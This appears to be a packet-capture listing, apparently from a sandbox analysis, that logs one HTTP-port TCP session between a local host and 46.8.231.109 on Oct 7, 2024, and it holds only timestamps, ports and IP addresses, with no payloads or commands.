Oct 7, 2024 03:03:11.535289049 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.535300970 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.535315990 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.535331964 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.535350084 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.535360098 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.535367012 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.535397053 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.535410881 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.535423040 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.535460949 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.535475016 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.535490036 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.535506964 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.535522938 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.535548925 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.535566092 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.535567045 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.535582066 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.535594940 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.535635948 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.535635948 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.535681009 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.535696030 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.535710096 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.535723925 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.535739899 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.535746098 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.535778046 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.535821915 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.535824060 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.535854101 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.535868883 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.535883904 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.535897970 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.535897970 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.535908937 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.535923958 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.535924911 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.535944939 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.535960913 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.535967112 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.535976887 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.536031008 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.536031008 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.574970961 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.575004101 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.575017929 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.575042963 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.575043917 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.575062037 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.575077057 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.575079918 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.575098038 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.575126886 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.575193882 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.575200081 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.575242043 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.624604940 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.624620914 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.624645948 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.624661922 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.624664068 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.624680996 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.624701977 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.624727011 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.624736071 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.624736071 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.624743938 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.624764919 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.624768019 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.624830961 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.624830961 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.624869108 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.624885082 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.624902010 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.624918938 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.624936104 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.624943018 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.624943018 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.624953985 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.624970913 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.624999046 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.625011921 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.625030994 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.625046968 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.625060081 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.625060081 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.625112057 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.625118017 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.625129938 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.625159025 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.625221968 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.625232935 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.625251055 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.625263929 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.625288010 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.625303030 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.625303984 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.625303030 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.625322104 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.625338078 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.625358105 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.625361919 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.625377893 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.625412941 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.625427008 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.625427961 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.625443935 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.625459909 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.625459909 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.625514030 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.625514030 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.625566006 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.625583887 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.625598907 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.625614882 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.625633955 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.625633955 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.625664949 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.625689983 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.625705004 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.625718117 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.625718117 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.625722885 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.625740051 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.625758886 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.625775099 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.625778913 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.625791073 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.625823021 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.625835896 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.625935078 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.625950098 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.625982046 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.626086950 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.626106024 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.626130104 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.626137972 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.626137972 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.626158953 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.626174927 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.626183987 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.626183987 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.626193047 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.626209021 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.626224995 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.626229048 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.626241922 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.626243114 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.626257896 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.626277924 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.626292944 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.626310110 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.626311064 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.626311064 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.626326084 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.626343012 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.626374006 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.626374006 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.626441956 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.626466990 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.626558065 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.626605034 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.626620054 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.626643896 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.626660109 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.626668930 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.626668930 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.626676083 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.626692057 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.626713037 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.626717091 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.626717091 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.626729012 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.626744986 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.626755953 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.626760960 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.626779079 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.626796961 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.626799107 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.626810074 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.626813889 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.626831055 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.626873016 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.626912117 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.627091885 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.627106905 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.627115011 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.627130032 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.627141953 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.627149105 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.627166033 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.627182961 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.627202034 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.627214909 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.627214909 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.627221107 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.627238035 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.627238989 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.627254963 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.627270937 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.627286911 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.627305984 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.627310038 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.627310038 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.627325058 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.627370119 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.627370119 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.627518892 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.627535105 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.627552986 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.627564907 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.627571106 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.627588987 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.627609968 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.627619028 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.627626896 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.627655983 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.627662897 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.627662897 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.627675056 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.627696037 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.627715111 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.627731085 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.627744913 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.627749920 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.627749920 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.627795935 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.627795935 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.665677071 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.665692091 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.665719032 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.665736914 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.665754080 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.665775061 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.665793896 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.665793896 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.665798903 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.665819883 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.665838957 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.665918112 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.715058088 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.715255976 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.715270042 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.715280056 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.715287924 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.715296030 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.715306997 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.715313911 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.715322971 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.715332031 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.715339899 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.715344906 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.715399027 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.715413094 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.715420961 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.715428114 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.715462923 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.715518951 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.715518951 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.715554953 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.715574026 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.715589046 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.715603113 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.715617895 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.715636015 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.715643883 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.715643883 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.715652943 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.715684891 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.715706110 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.715708017 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.715723038 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.715742111 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.715759039 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.715759993 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.715800047 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.715800047 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.715826035 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.715842962 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.715877056 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.715895891 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.715910912 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.715914011 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.715928078 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.715929031 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.716006041 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.716006041 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.716043949 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.716063023 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.716200113 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.716216087 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.716233969 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.716239929 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.716250896 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.716268063 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.716284990 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.716300964 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.716315985 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.716319084 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.716319084 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.716335058 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.716371059 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.716371059 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.716478109 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.716492891 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.716511011 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.716511965 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.716527939 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.716545105 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.716558933 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.716558933 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.716572046 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.716589928 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.716605902 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.716623068 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.716623068 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.716623068 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.716669083 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.716778040 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.716794014 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.716809988 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.716821909 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.716821909 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.716824055 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.716844082 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.716861010 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.716862917 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.716877937 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.716892958 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.716901064 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.716914892 CEST	80	49731	46.8.231.109	192.168.2.4
